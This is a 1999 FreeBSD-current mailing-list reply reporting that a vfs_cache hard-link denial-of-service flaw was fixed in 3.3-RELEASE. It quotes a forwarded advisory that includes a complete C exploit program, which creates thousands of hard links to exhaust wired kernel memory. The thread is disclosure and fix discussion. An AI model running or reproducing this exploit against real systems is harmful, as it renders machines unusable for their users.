Skip site navigation (1)Skip section navigation (2)
Date:      Mon, 27 Sep 1999 21:40:37 -0700 (PDT)
From:      Alfred Perlstein <bright@wintelcom.net>
To:        Kenneth Culver <culverk@culverk.student.umd.edu>
Cc:        freebsd-current@FreeBSD.ORG
Subject:   Re: just found this
Message-ID:  <Pine.BSF.4.05.9909272138440.6368-100000@fw.wintelcom.net>
In-Reply-To: <Pine.BSF.4.10.9909272351370.327-100000@culverk.student.umd.edu>

next in thread | previous in thread | raw e-mail | index | archive | help

this was fixed in the final hours before 3.3-release.

http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/kern/vfs_cache.c

----

1.38.2.3 Thu Sep 16 2:02:15 1999 UTC by alfred 
CVS Tags: RELENG_3_3_0_RELEASE; Branch: RELENG_3 
Diffs to 1.38.2.2 

Limit aliases to a vnode in the namecache to a sysctl tunable
'vfs.cache.maxaliases'  This protects against a DoS via thousands
of hardlinks to a file wiring down all kernel memory.

Approved by:    jkh

----

-Alfred Perlstein - [bright@rush.net|alfred@freebsd.org]
Wintelcom systems administrator and programmer
   - http://www.wintelcom.net/ [bright@wintelcom.net]


On Mon, 27 Sep 1999, Kenneth Culver wrote:

> 
> Check this out, if anyone is intrested.
> 
> I found this on packetstorm.securify.com tonight. Any ideas??
> 
> [Resending once, since it's been 10.5 days...]
> 
> Here's an interesting denial-of-service attack against FreeBSD >=3.0
> systems.  It abuses a flaw in the `new' FreeBSD vfs_cache.c; it has no
> way to purge entries unless the `vnode' (e.g. the file) they point to
> is removed from memory -- which generally doesn't happen unless a
> certain magic number of `vnodes' is in use, and never happens when the
> `vnode' (i.e. file) is open.  Thus it's possible to chew up an
> arbitrary amount of wired kernel memory relatively simply.
> 
> What strikes me as funny about this is that the relevant code in
> 4.4BSD-Lite, which was in FreeBSD up through 2.2.8, was *not*
> susceptible to such an attack, and all of the code to prevent it was
> intentionally removed.
> 
> I ran this on a machine running FreeBSD 3.2-RELEASE with 256MB of RAM,
> and it chugged along to about `02/03000' (meaning it created 3 files
> and about 63000 or so links), consuming a whopping 34MB of wired
> kernel memory (according to `top'), before all file system activity
> came to a screeching halt and the machine was unusable.
> 
> This exploit does not affect Linux 2.0.36, or any version of NetBSD.
> I have not tested Linux versions >=2.1 (which have a different
> implementation of the equivalent code from 2.0.36), but based on code
> inspection, I do not believe it to be vulnerable to this particular
> attack.
> 
> Note that, although it may seem like setting quotas is a good solution
> to this problem, if the FreeBSD system is acting as a NFS client, it's
> possible to use a variant of the attack that only creates one file and
> keeps at most one link to it at any given time.
> 
> Also note that it may be possible to exercise this against a FTP
> server with a writable directory if the server has a way of creating
> hard links.  (I'm not aware of any that do, but I point this out for
> completeness.)
> 
> -----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----
> #include <stdio.h>
> #include <unistd.h>
> #include <sys/stat.h>
> 
> #define NFILE 64
> #define NLINK 30000
> #define NCHAR 245
> 
> int
> main()
> {
> char junk[NCHAR+1],
>      dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1];
> int i, j;
> struct stat sb;
> 
> memset(junk, 'x', NCHAR);
> junk[NCHAR] = '\0';
> for (i = 0; i < NFILE; i++) {
> printf("\r%02d/%05d...", i, 0),
> fflush(stdout);
> sprintf(dir, "%02d-%02d", i, 0);
> if (mkdir(dir, 0755) < 0)
> fprintf(stderr, "mkdir(%s) failed\n", dir),
> exit(1);
> sprintf(file1, "%s/%s%03d", dir, junk, 0);
> if (creat(file1, 0644) < 0)
> fprintf(stderr, "creat(%s) failed\n", file1),
> exit(1);
> if (stat(file1, &sb) < 0)
> fprintf(stderr, "stat(%s) failed\n", file1),
> exit(1);
> for (j = 1; j < NLINK; j++) {
> if ((j % 1000) == 0) {
> printf("\r%02d/%05d...", i, j),
> fflush(stdout);
> sprintf(dir, "%02d-%02d", i, j/1000);
> if (mkdir(dir, 0755) < 0)
> fprintf(stderr, "mkdir(%s) failed\n", dir),
> exit(1);
> }
> sprintf(file2, "%s/%s%03d", dir, junk, j%1000);
> if (link(file1, file2) < 0)
> fprintf(stderr, "link(%s,%s) failed\n", file1, file2),
> exit(1);
> if (stat(file2, &sb) < 0)
> fprintf(stderr, "stat(%s) failed\n", file2),
> exit(1);
> }
> }
> printf("\rfinished successfully\n");
> }
> -----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.BSF.4.05.9909272138440.6368-100000>